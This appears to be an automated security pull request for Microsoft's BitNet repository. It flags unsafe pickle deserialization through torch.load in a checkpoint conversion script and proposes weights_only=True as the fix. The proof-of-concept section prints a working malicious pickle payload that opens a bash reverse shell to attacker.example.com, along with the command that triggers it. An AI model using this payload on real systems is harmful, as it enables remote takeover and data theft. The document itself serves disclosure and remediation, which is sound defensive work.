[Security] Fix CRITICAL vulnerability: V-001

[orbisai0security]

Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Critical	In the BitNet repository, which handles AI model checkpoints for efficient neural networks, exploiting this via a malicious checkpoint could allow arbitrary code execution on the system running the conversion script, leading to full system compromise, data theft, or further attacks. Since the script processes user-provided files, an attacker could embed code in a poisoned checkpoint to escalate privileges or exfiltrate sensitive model data. This is particularly severe in research or production environments where BitNet models are deployed on potentially high-value systems.
Likelihood	Medium	The repository is an open-source AI project from Microsoft, likely used by developers and researchers who may load checkpoints from untrusted sources or shared repositories, increasing the attack surface for supply-chain attacks on model files. However, exploitation requires an attacker to craft and distribute a malicious checkpoint that a user intentionally loads, which is not a common or automated vector but feasible in adversarial ML scenarios or targeted phishing. Real-world usage patterns suggest moderate risk, as torch.load vulnerabilities are known, but safer alternatives are often overlooked in such scripts.
Ease of Fix	Easy	Remediation involves modifying the torch.load call in gpu/convert_checkpoint.py to use the weights_only=True parameter (available in PyTorch 1.13+), preventing deserialization of arbitrary objects and limiting loading to model weights only. This is a single-line code change with minimal risk of breaking existing functionality, requiring only basic testing to ensure checkpoint conversion still works correctly. No dependencies need updating, and the fix aligns with standard PyTorch security practices.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in gpu/convert_checkpoint.py allows an attacker to achieve remote code execution (RCE) by providing a maliciously crafted model checkpoint file that embeds arbitrary Python code via the unsafe pickle deserialization used by torch.load. This exploits the script's direct loading of user-supplied files without any safety checks, enabling an attacker to execute commands on the system running the conversion tool. In the context of BitNet, which is a PyTorch-based neural network implementation for efficient inference, this could compromise research environments or deployment pipelines where checkpoints are processed.

The vulnerability in gpu/convert_checkpoint.py allows an attacker to achieve remote code execution (RCE) by providing a maliciously crafted model checkpoint file that embeds arbitrary Python code via the unsafe pickle deserialization used by torch.load. This exploits the script's direct loading of user-supplied files without any safety checks, enabling an attacker to execute commands on the system running the conversion tool. In the context of BitNet, which is a PyTorch-based neural network implementation for efficient inference, this could compromise research environments or deployment pipelines where checkpoints are processed.

# Step 1: Create a malicious checkpoint file that executes arbitrary code when loaded
# This uses Python's pickle to embed a command that, for example, creates a reverse shell
# Save this as 'malicious_checkpoint.pth' (or whatever extension the script expects)

import pickle
import torch

# Define a malicious class that executes code on unpickling
class MaliciousCheckpoint:
    def __reduce__(self):
        import os
        # Example payload: Execute a reverse shell to attacker-controlled server
        # In a real attack, this could be any command, e.g., exfiltrate data or install malware
        return (os.system, ('bash -i >& /dev/tcp/attacker.example.com/4444 0>&1',))

# Create a fake checkpoint dict (mimicking BitNet's structure, e.g., with model state)
fake_checkpoint = {
    'model_state_dict': {'layer.weight': torch.randn(10, 10)},  # Dummy data to avoid immediate errors
    'malicious': MaliciousCheckpoint()  # This triggers on load
}

# Serialize with pickle (torch.save uses pickle internally)
with open('malicious_checkpoint.pth', 'wb') as f:
    pickle.dump(fake_checkpoint, f)

# Step 2: Exploit the vulnerability by running the convert_checkpoint.py script
# Assuming the script takes a checkpoint file as an argument (based on typical usage in ML repos)
# In a real scenario, the attacker would trick a user into processing this file, e.g., via social engineering

# Command to run the script (adjust path to repository clone)
python gpu/convert_checkpoint.py --checkpoint malicious_checkpoint.pth

# Upon loading, torch.load deserializes the pickle, which executes the os.system call,
# establishing a reverse shell to the attacker's server (listening on port 4444).
# The script may proceed to "convert" the checkpoint, but the damage is done during load.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	Medium	Access to model checkpoints could leak proprietary AI model weights or training data if the file contains sensitive embeddings; however, BitNet checkpoints are typically public research artifacts, so exposure is limited to intellectual property rather than personal/user data like credentials or PII.
System Compromise	High	Successful exploitation grants arbitrary code execution on the host system, allowing full control over user privileges or, if run as root/admin, complete system takeover; in containerized deployments (common for ML tools), this could enable container escape to the host via kernel exploits or Docker socket access.
Operational Impact	Medium	The RCE could disrupt model conversion workflows, potentially corrupting outputs or causing crashes, leading to downtime in research or inference pipelines; if chained with other exploits, it might enable denial-of-service by exhausting GPU resources during malicious code execution.
Compliance Risk	High	Violates OWASP Top 10 A8 (insecure deserialization) and could breach enterprise security standards like NIST SP 800-53 for secure software development; in regulated environments (e.g., AI for healthcare or finance), it risks GDPR or HIPAA violations if model data includes indirectly sensitive information, failing audits for secure AI tooling.

Vulnerability Details

• Rule ID: V-001
• File: gpu/convert_checkpoint.py
• Description: The script uses torch.load to deserialize a model checkpoint file provided by the user. The underlying pickle module used by torch.load is unsafe and can execute arbitrary code embedded within the file, leading to a full system compromise.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• gpu/convert_checkpoint.py
• gpu/generate.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.